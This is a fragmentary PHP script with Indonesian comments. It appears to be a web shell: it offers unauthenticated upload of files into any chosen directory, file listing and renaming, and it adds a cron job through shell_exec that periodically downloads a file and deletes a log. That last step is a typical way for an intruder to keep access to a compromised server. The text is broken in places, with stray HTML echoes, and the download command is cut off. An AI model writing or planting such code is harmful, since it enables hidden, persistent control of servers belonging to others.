'; echo 'Direktori:
'; echo 'Pilih file:
'; echo ''; echo ''; } if (isset($_FILES['file']['tmp_name'])) { // Ambil data file $uploadd = $_FILES['file']['tmp_name']; if (is_uploaded_file($uploadd)) { // Tentukan direktori tujuan $pwddir = $_POST['dir']; $real = $_FILES['file']['name']; $de = $pwddir . "/" . $real; // Salin file yang diunggah ke server if (copy($uploadd, $de)) { echo "BERKAS DIUNGGAHKAN KE $de"; } else { echo "GAGAL MENGUNGGAH BERKAS."; } } } // Jika ada parameter 'inc' dengan nilai 'rename', tampilkan form rename file if (isset($_GET['inc']) && $_GET['inc'] === 'rename') { // Ambil direktori untuk menampilkan daftar file $dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); echo "

Daftar File di Direktori: $dir

"; // Menampilkan daftar file dalam direktori $files = scandir($dir); echo '
'; echo '
'; echo 'Nama baru:
'; echo ''; echo '
'; } // Menangani penggantian nama file if (isset($_POST['file_to_rename']) && isset($_POST['new_name'])) { $dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); $old_name = $dir . '/' . $_POST['file_to_rename']; $new_name = $dir . '/' . $_POST['new_name']; // Ganti nama file if (rename($old_name, $new_name)) { echo "File berhasil diganti namanya menjadi: $new_name"; } else { echo "Gagal mengganti nama file."; } } ?> /dev/null 2>&1 && rm ' . escapeshellarg($currentDirectory . '/logfile.log'); // Tambahkan tugas Cron yang baru $result = shell_exec('(crontab -l ; echo "'.$downloadCronCommand.'") | crontab -'); if ($result === false) { echo 'Gagal menambahkan tugas Cron untuk mengunduh file.'; } else { echo 'Tugas Cron untuk mengunduh file berhasil ditambahkan.'; } ?>